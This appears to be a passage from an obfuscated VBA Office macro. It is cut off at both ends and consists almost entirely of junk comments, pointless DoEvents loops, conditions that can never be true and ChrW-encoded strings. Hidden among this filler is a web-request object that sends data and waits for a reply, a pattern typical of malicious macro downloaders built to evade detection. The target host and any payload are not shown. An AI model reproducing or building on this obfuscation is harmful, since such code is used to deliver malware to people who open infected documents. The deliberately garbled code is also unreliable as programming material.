'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: hpbedlne = hpbedlne + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rlelggdb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rlelggdb = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rlelggdb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xqpgnlts As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xqpgnlts = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xqpgnlts 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq kderacuvhjh.send ChrW(70) & ChrW(68) & ChrW(71) & ChrW(68) & ChrW(70) & ChrW(72) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While kderacuvhjh.readystate <> 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 424467 = 424467 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 1982 < 37 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bnjpgkwv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim nwxablrl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For nwxablrl = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next nwxablrl 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq bnjpgkwv = 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While bnjpgkwv < 37 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim zitgkwss As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For zitgkwss = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next zitgkwss 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: bnjpgkwv = bnjpgkwv + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tgfuqhlq As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tgfuqhlq = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tgfuqhlq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim wndskseu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For wndskseu = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next wndskseu 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(109) & ChrW(108) & ChrW(104) & ChrW(107) & ChrW(120) & ChrW(99) & ChrW(104) & ChrW(120) & ChrW(49) & ChrW(57)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(109) & ChrW(98) & ChrW(103) & ChrW(111) & ChrW(106) & ChrW(99) & ChrW(110) & ChrW(119) & ChrW(52) & ChrW(50) & ChrW(53) & ChrW(53)) = Len(ChrW(101) & ChrW(102) & ChrW(120) & ChrW(114) & ChrW(100) & ChrW(103) & ChrW(113) & ChrW(109)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim pfxdaysr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kjhcajel As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For kjhcajel = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next kjhcajel 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq pfxdaysr = 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While pfxdaysr < 16 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ldpxpbec As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ldpxpbec = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ldpxpbec 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: pfxdaysr = pfxdaysr + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim uokllplf As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For uokllplf = 0 To 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next uokllplf 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim cqysonpc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For cqysonpc = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next cqysonpc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim oczjzyah As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim dlclshdl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For dlclshdl = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next dlclshdl 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq oczjzyah = 2 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While oczjzyah < 68 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim gsnljprn As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For gsnljprn = 0 To 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next gsnljprn 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: oczjzyah = oczjzyah + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim euihbwlh As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For euihbwlh = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next euihbwlh 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim tllmhagk As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For tllmhagk = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next tllmhagk 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 461634 = 461634 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 4523 < 91 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim heybmzjg As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim icfsixsc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For icfsixsc = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next icfsixsc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq heybmzjg = 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While heybmzjg < 29 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim izjrpykr As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For izjrpykr = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next izjrpykr 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: heybmzjg = heybmzjg + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim olujwery As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For olujwery = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next olujwery 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim ibykvoxe As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For ibykvoxe = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next ibykvoxe 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(102) & ChrW(117) & ChrW(119) & ChrW(119) & ChrW(114) & ChrW(122) & ChrW(114) & ChrW(97) & ChrW(53) & ChrW(51)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If Len(ChrW(113) & ChrW(122) & ChrW(97) & ChrW(115) & ChrW(108) & ChrW(114) & ChrW(121) & ChrW(122) & ChrW(55) & ChrW(55) & ChrW(56) & ChrW(54)) = Len(ChrW(102) & ChrW(116) & ChrW(114) & ChrW(118) & ChrW(122) & ChrW(122) & ChrW(116) & ChrW(111)) Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim bnmwvlsv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim pjhexmay As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For pjhexmay = 0 To 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next pjhexmay 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq bnmwvlsv = 3 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While bnmwvlsv < 37 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xkaqahrv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xkaqahrv = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xkaqahrv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: bnmwvlsv = bnmwvlsv + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim vikcfsjb As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For vikcfsjb = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next vikcfsjb 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim qglaucgv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For qglaucgv = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next qglaucgv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox (ChrW(101) & ChrW(114) & ChrW(114) & ChrW(111) & ChrW(114) & ChrW(32) & ChrW(33) & ChrW(33) & ChrW(33)) 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq End If 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim olxjflbw As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim onxhczly As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For onxhczly = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next onxhczly 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq olxjflbw = 7 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While olxjflbw < 46 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim throlpgy As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For throlpgy = 0 To 8 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next throlpgy 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: olxjflbw = olxjflbw + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim kwlvlcpv As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For kwlvlcpv = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next kwlvlcpv 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim etsajwkl As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For etsajwkl = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next etsajwkl 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 172329 = 172329 + 1 Then End 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq If 5258 < 79 Then 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim snulcwap As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim quumragu As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For quumragu = 0 To 9 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next quumragu 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq snulcwap = 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Do While snulcwap < 24 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim xkvnhpgc As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For xkvnhpgc = 0 To 6 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next xkvnhpgc 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents: snulcwap = snulcwap + 1 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim oxgqzsjm As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For oxgqzsjm = 0 To 5 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next oxgqzsjm 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Loop 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Dim rwymasna As Integer 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq For rwymasna = 0 To 4 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq DoEvents 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq Next rwymasna 'dkvrbcvwjaaysvocmydusziyngciwiaufoxnerakdfrgabicrejjxshkwbenuyzkreeiwfxotnojnebq MsgBox 